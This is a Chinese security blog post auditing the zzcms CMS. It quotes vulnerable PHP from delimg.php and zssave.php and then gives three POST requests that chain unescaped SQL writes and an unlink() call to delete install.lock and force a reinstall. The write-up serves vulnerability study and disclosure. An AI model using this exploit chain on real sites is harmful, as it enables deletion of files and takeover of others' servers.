• 投稿邮箱:admin@xssec.org 查看详情
  • 本站教程默认解压密码:666
  • 官方新浪微博:Porry呦
  •    1个月前 (12-01)  漏洞库 |   5 条评论

    0x00 代码审计

    先来看可以导致任意文件删除的地方/user/delimg.php中第12行:

    $id=$_REQUEST['id'];
    $sql="select img,img2,img3,flv,editor from zzcms_main where id ='$id'";
    $rs=mysql_query($sql);
    $row=mysql_fetch_array($rs);
    if ($_REQUEST['action']==1){            
                            if ($row['img']<>"/image/nopic.gif"){
                            $f="../".substr($row['img'],1);
                                    if (file_exists($f)){
                                    unlink($f);
                                    }
    

    这里有一个任意文件删除的操作,也就是从zzcms_main中查询出来的img字段值做了一个删除操作。但是这个地方的$id虽然我们不能注入,但是是可控的,所以找一个入库的地方看看。

    在/user/zssave.php中第107行:

    if ($_POST["action"]=="add"){
    $isok=mysql_query("Insert into zzcms_main(proname,bigclasszm,smallclasszm,shuxing,szm,prouse,gg,pricels,sm,img,img2,img3,flv,province,city,xiancheng,zc,yq,title,keywords,description,sendtime,timefororder,editor,userid,groupid,qq,comane,renzheng,skin) values('$cp_name','$bigclassid','$smallclassid','$shuxing','$szm','$gnzz','$gg','$lsj','$sm','$img1','$img2','$img3','$flv','$province','$city','$xiancheng','$zc','$yq','$title','$keyword','$discription','".date('Y-m-d H:i:s')."','$TimeNum','$username','$userid','$groupid','$qq','$comane','$renzheng','$skin')") ;  
    $cpid=mysql_insert_id();                
    }elseif ($_POST["action"]=="modify"){
    $oldimg1=trim($_POST["oldimg1"]);
    $oldimg2=trim($_POST["oldimg2"]);
    $oldimg3=trim($_POST["oldimg3"]);
    $oldflv=trim($_POST["oldflv"]);
    $isok=mysql_query("update zzcms_main set proname='$cp_name',bigclasszm='$bigclassid',smallclasszm='$smallclassid',shuxing='$shuxing',szm='$szm',prouse='$gnzz',gg='$gg',pricels='$lsj',sm='$sm',img='$img1',img2='$img2',img3='$img3',flv='$flv',province='$province',city='$city',xiancheng='$xiancheng',zc='$zc',yq='$yq',title='$title',keywords='$keyword',description='$discription',sendtime='".date('Y-m-d H:i:s')."',timefororder='$TimeNum',editor='$username',userid='$userid',groupid='$groupid',qq='$qq',comane='$comane',renzheng='$renzheng',skin='$skin',passed=0 where id='$cpid'");
    

    对应着action的不同,sql语句也不同,第一个是Insert,第二个update。两个sql语句中都有img这个字段。并且相对应的的值$img1也是可控的:

    $img1=$_POST["img1"];
    

    其次就是对于update语句,还能控制update哪一行,因为主键id的值也是可控的:

    $cpid=$_POST["ypid"];
    

    所以结合上面所说,能够控制任意zzcms_main表中任意一行img字段的值,所以说能够删除任意文件。

    0x01 漏洞复现
    首先为了防止zzcms_main表中没有任何数据,所以我们首先进行一个增加数据的操作:

    http://localhost/user/zssave.php
    POST: action=add&img1=1
    

    然后更新第一行的img字段的值

    http://localhost/user/zssave.php
    POST: action=modify&img1=/install/install.lock&ypid=1
    

    然后我们再进行删除操作:

    http://localhost/user/delimg.php
    POST: action=1&id=1
    

    就能删除掉install.lock文件啦。然后开始重装。

     

    除特别注明外,本站所有文章均为新世纪安全社区原创,转载请注明出处来自http://www.xssec.org/1387.html

    八块腹肌挂腰间,续写另类拳皇篇。

    发表评论

    1. 非常感谢分享, 学习了

      神州 1个月前 (12-11) [0] [0]
    2. 好好

      hycgjt1234 1个月前 (12-10) [0] [0]
    3. 还好吧

      hycgjt1234 1个月前 (12-09) [0] [0]
    4. 小白问一下post怎么提交 :sad:

      梦想 1个月前 (12-01) [0] [0]
    
    切换注册

    登录

    忘记密码 ?

    您也可以使用第三方帐号快捷登录

    切换登录

    注册

    扫一扫二维码分享